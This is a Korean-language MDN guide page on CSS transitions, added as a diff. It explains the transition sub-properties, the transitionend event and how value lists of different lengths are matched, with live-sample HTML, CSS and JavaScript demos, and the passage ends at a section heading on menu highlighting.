+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 트랜지션</strong>은 CSS 속성을 변경할 때 애니메이션 속도를 조절하는 방법을 제공합니다. 속성 변경이 즉시 영향을 미치게 하는 대신, 그 속성의 변화가 일정 기간에 걸쳐 일어나도록 할 수 있습니다. 예를 들어, 여러분이 어떤 요소의 색상을 흰색에서 검은색으로 변경한다면, 변화는 대개 즉시 일어납니다. CSS 트랜지션을 이용하면, 모두 커스터마이즈 가능한 어떤 가속도 곡선을 따르는 시간 주기마다 변화가 일어납니다.</p>
+
+<p>두 상태 사이의 트랜지션을 포함하는 애니메이션을 종종 암묵적 트랜지션이라고 부르는데, 이는 시작과 종료 상태 사이의 상태를 브라우저가 암묵적으로 정의하기 때문입니다.</p>
+
+<p><img alt="A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions." src="/files/4529/TransitionsPrinciple.png" style="display: block; height: 196px; margin: auto; width: 680px;"></p>
+
+<p>CSS transitions는 여러분이 <span style="line-height: 1.5;">(명시적으로 목록을 작성해서) </span><span style="line-height: 1.5;">어떤 속성을 움직이게 할지, (딜레이를 설정해서) 언제 애니메이션이 시작할지, (지속 시간을 설정해서) </span>트랜지션을<span style="line-height: 1.5;"> 얼마나 지속할지, 그리고 (</span><span style="line-height: 1.5;">예를 들면, 선형이거나 초기 빠름, 종료 느림과 같은 </span><span style="line-height: 1.5;">타이밍 함수를 정의해서) 어떻게 </span><span style="line-height: 1.5;">트랜지션을</span><span style="line-height: 1.5;"> 실행하는지 </span><span style="line-height: 1.5;">결정하게 합니다.</span></p>
+
+<h2 id="애니메이션_가능한_CSS_속성은">애니메이션 가능한 CSS 속성은?</h2>
+
+<p><span style="line-height: 1.5;">웹 작성자는 어떤 속성을 어떤 방식으로 움직일지를 정의할 수 있습니다. 이것은 복잡한 </span>트랜지션<span style="line-height: 1.5;">을 생성할 수 있게 합니다. 어떤 속성은 움직이게 하는 것이 말이 되지 않으므로, </span><a href="/en-US/docs/CSS/CSS_animated_properties" style="line-height: 1.5;" title="/en-US/docs/">애니메이션 가능한 속성의 집합</a><span style="line-height: 1.5;">은 유한한 집합으로 제한됩니다.</span></p>
+
+<div class="note">노트: 애니메이션 가능한 속성의 집합은 변할 수 있습니다. 개발자는 주의해서 진행해야 합니다.</div>
+
+<p class="note">또한, <span style="line-height: 1.5;">종종 auto 값은</span><span style="line-height: 1.5;"> 매우 복잡한 경우입니다. 스펙은 그러한 어떤 값에서 시작하고 끝나도록 움직이도록 요구하지 않습니다. Gecko 기반의 유저 에이전트처럼 몇몇은 이 요구사항을 구현했고, WebKit 기반의 유저 에이전트 같은 다른 것들은 덜 엄격합니다. 애니메이션에 auto를 사용하면 </span><span style="line-height: 1.5;">이는 브라우저와 버전에 따라 </span><span style="line-height: 1.5;">예상하지 못한 결과를 초래할 수 있으며 피해야 합니다.</span></p>
+
+<h3 id="다수의_애니메이션이_적용된_속성_예제">다수의 애니메이션이 적용된 속성 예제</h3>
+
+<h4 id="HTML_내용">HTML 내용</h4>
+
+<pre class="brush: html; highlight:[3]">&lt;body&gt;
+ &lt;p&gt;아래 박스는 width, height, background-color, transform을 위한 트랜지션을 결합합니다. 박스 위에 마우스를 올려 속성들의 애니메이션을 보세요.&lt;/p&gt;
+ &lt;div class="box"&gt;&lt;/div&gt;
+&lt;/body&gt;</pre>
+
+<h4 id="CSS_내용">CSS 내용</h4>
+
+<pre class="brush: css; highlight:[8,9]">.box {
+ border-style: solid;
+ border-width: 1px;
+ display: block;
+ width: 100px;
+ height: 100px;
+ background-color: #0000FF;
+ -webkit-transition:width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+ transition:width 2s, height 2s, background-color 2s, transform 2s;
+}
+.box:hover {
+ background-color: #FFCCCC;
+ width:200px;
+ height:200px;
+ -webkit-transform:rotate(180deg);
+ transform:rotate(180deg);
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('%EB%8B%A4%EC%88%98%EC%9D%98_%EC%95%A0%EB%8B%88%EB%A9%94%EC%9D%B4%EC%85%98%EC%9D%B4_%EC%A0%81%EC%9A%A9%EB%90%9C_%EC%86%8D%EC%84%B1_%EC%98%88%EC%A0%9C', '600', '300', '', 'Web/Guide/CSS/Using_CSS_transitions') }}</p>
+
+<h2 id="트랜지션_정의에_사용한_CSS_속성">트랜지션 정의에 사용한 CSS 속성</h2>
+
+<p>CSS 트랜지션은 단축(shorthand) 속성 {{cssxref("transition")}}을 사용하여 제어합니다. 이것은 트랜지션을 설정하는 가장 좋은 방법입니다. 파라미터 목록의 길이가 싱크가 맞지 않는 것을 피하기가 더 쉬워지기 때문입니다. 싱크가 맞지 않으면 CSS를 디버그하는데 많은 시간을 들여야 해서 크게 좌절할 수 있습니다.</p>
+
+<p>여러분은 아래의 서브 속성으로 트랜지션의 개별 컴포넌트를 제어할 수 있습니다:</p>
+
+<p><strong>(이 트랜지션은 단지 예제를 목적으로 계속해서 루프를 돕니다. 그리고 CSS <code>transition들은 시작에서 종료까지 어떤 속성의 변화만을 시각화합니다. 그 루프를 시각화하려면 </code>CSS <code><a href="/en-US/docs/CSS/animation" title="/en-US/docs/CSS/animation">animation</a> 속성을 살펴보세요.</code>)</strong></p>
+
+<dl>
+ <dt>{{ cssxref("transition-property") }}</dt>
+ <dd>트랜지션을 적용해야 하는 CSS 속성의 이름 혹은 이름들을 명시합니다. 여기에 나열한 속성만 트랜지션하는 동안 움직입니다. 또한, 다른 모든 속성에 대한 변화는 보통 때와 같이 즉시 일어납니다.</dd>
+ <dt>{{ cssxref("transition-duration") }}</dt>
+ <dd>트랜지션이 일어나는 지속 시간을 명시합니다. 트랜지션 동안 모든 속성에 적용하는 단일 지속 시간을 명시하거나, 다른 주기로 각 속성이 트랜지션하게 하는 여러 지속 시간을 명시할 수 있습니다.
+ <div>
+ <div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:0.5s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:0.5s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ transform: rotate(270deg);
+ -webkit-transform: rotate(270deg);
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:0.5s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transformv color;
+ transition-duration:0.5s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+ -webkit-transition-duration:1s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform color;
+ transition-duration:1s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ transform: rotate(270deg);
+ -webkit-transform: rotate(270deg);
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+ -webkit-transition-duration:1s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:1s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+ </div>
+
+ <div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:2s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ transform: rotate(270deg);
+ -webkit-transform: rotate(270deg);
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:2s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+ </div>
+
+ <div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:4s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ transform: rotate(270deg);
+ -webkit-transform: rotate(270deg);
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+ -webkit-transition-duration:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top transform -webkit-transform color;
+ transition-duration:4s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{ cssxref("transition-timing-function") }}</dt>
+ <dd><img alt="" src="/files/3434/TF_with_output_gt_than_1.png" style="float: left; height: 173px; margin-right: 5px; width: 130px;">속성의 중간값을 계산하는 방법을 정의하는 함수를 명시합니다. <em>Timing functions</em>는 트랜지션의 중간값을 계산하는 방법을 결정합니다. 대부분의 <a href="/en-US/docs/CSS/timing-function" title="/en-US/docs/CSS/timing-function">타이밍 함수</a>는 큐빅 베이지어(cubic bezier)를 정의하는 네 점에 의해 정의되므로 상응하는 함수의 그래프로 제공해서 명시할 수 있습니다. <a href="http://easings.net/" title="http://easings.net/">Easing Functions Cheat Sheet</a>에서 이징(easing, 역자주: 시간에 따른 파라미터 값의 변화율을 명시하는 함수)을 선택할 수도 있습니다.
+ <div class="cleared">
+ <div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: ease</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: ease;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: ease;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: ease;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: ease;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+ </div>
+
+ <div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: linear</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+ </div>
+
+ <div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: step-end</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: step-end;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: step-end;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: step-end;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: step-end;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+ </div>
+
+ <div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: steps(4, end)</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: steps(4, end);
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: steps(4, end);
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-timing-function: steps(4, end);
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-timing-function: steps(4, end);
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{ cssxref("transition-delay") }}</dt>
+ <dd>속성이 변한 시점과 트랜지션이 실제로 시작하는 사이에 기다리는 시간을 정의합니다.
+ <div>
+ <div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:0.5s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:0.5s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:0.5s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:0.5s;
+ transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:1s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:1s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:1s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:1s;
+ transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+ </div>
+
+ <div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:2s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:2s;
+ transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+ </div>
+
+ <div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:4s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:4s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<p>다음과 같이 단축 CSS 문법을 사용합니다.</p>
+
+<pre class="brush:css;">div {
+ transition: &lt;property&gt; &lt;duration&gt; &lt;timing-function&gt; &lt;delay&gt;;
+}</pre>
+
+<h2 id="트랜지션_완료_감지하기">트랜지션 완료 감지하기</h2>
+
+<p>트랜지션을 완료하면 발생하는 단일 이벤트가 있습니다. 모든 표준을 따르는 브라우저에서 그 이벤트는 <code>transitionend이며, </code>WebKit에서는 <code>webkitTransitionEnd입니다. 자세한 내용은 맨 아래의 호환성 테이블을 참고하세요. </code><code>transitionend 이벤트는 두 속성을 제공합니다.</code></p>
+
+<dl>
+ <dt><code>propertyName</code></dt>
+ <dd>트랜지션을 완료한 CSS 속성의 이름을 나타내는 문자열</dd>
+ <dt><code>elapsedTime</code></dt>
+ <dd>이벤트가 발생한 시점에 해당 트랜지션이 진행된 시간을 초로 나타내는 실수<span style="line-height: 1.5;">. 이 값은 {{ cssxref("transition-delay") }} 값에 영향을 받지 않습니다.</span></dd>
+</dl>
+
+<p>평소대로 {{ domxref("element.addEventListener()") }} 메소드를 사용하여 이 이벤트를 모니터링할 수 있습니다.</p>
+
+<pre class="brush: js">el.addEventListener("transitionend", updateTransition, true);
+</pre>
+
+<div class="note"><strong>노트: </strong>트랜지션을 중단하면 <code style="font-size: 14px;">transitionend</code><span style="line-height: 1.5;"> 이벤트는 </span><span style="line-height: 1.5em;">발생하지 않습니다. 트랜지션을 완료하기 전에 애니메이션하고 있는 속성의 값이 바뀌기 때문입니다.</span></div>
+
+<h2 id="속성값_목록이_다른_개수를_가진_경우">속성값 목록이 다른 개수를 가진 경우</h2>
+
+<p>어떤 속성의 값 목록이 다른 것보다 짧다면, 일치되도록 그 값을 반복합니다. 예를 들면,</p>
+
+<pre class="brush: css">div {
+ transition-property: opacity, left, top, height;
+ transition-duration: 3s, 5s;
+}
+</pre>
+
+<p>위는 아래와 같이 처리합니다.</p>
+
+<pre class="brush: css">div {
+ transition-property: opacity, left, top, height;
+ transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+
+<p>비슷하게, 어떤 속성의 값 목록이 {{ cssxref("transition-property") }} 목록보다 길다면, 그것은 끝을 잘라냅니다. 그래서, 아래의 CSS가 있다면,</p>
+
+<pre class="brush: css">div {
+ transition-property: opacity, left;
+ transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+
+<p>위를 아래와 같이 해석합니다.</p>
+
+<pre class="brush: css">div {
+ transition-property: opacity, left;
+ transition-duration: 3s, 5s;
+}</pre>
+
+<h2 id="간단한_예제">간단한 예제</h2>
+
+<p>이 예제는 사용자가 마우스를 해당 요소 위에 올려놓고 애니메이션 효과가 시작할 때까지 2초의 딜레이가 있는 4초짜리 폰트 크기 트랜지션을 수행합니다.</p>
+
+<pre class="brush: css">#delay1 {
+ position: relative;
+ transition-property: font-size;
+ transition-duration: 4s;
+ transition-delay: 2s;
+ font-size: 14px;
+}
+
+#delay1:hover {
+ transition-property: font-size;
+ transition-duration: 4s;
+ transition-delay: 2s;
+ font-size: 36px;
+}
+</pre>
+
+<h2 id="메뉴_하이라이팅에_트랜지션_사용">메뉴 하이라이팅에 트랜지션 사용</h2>
+
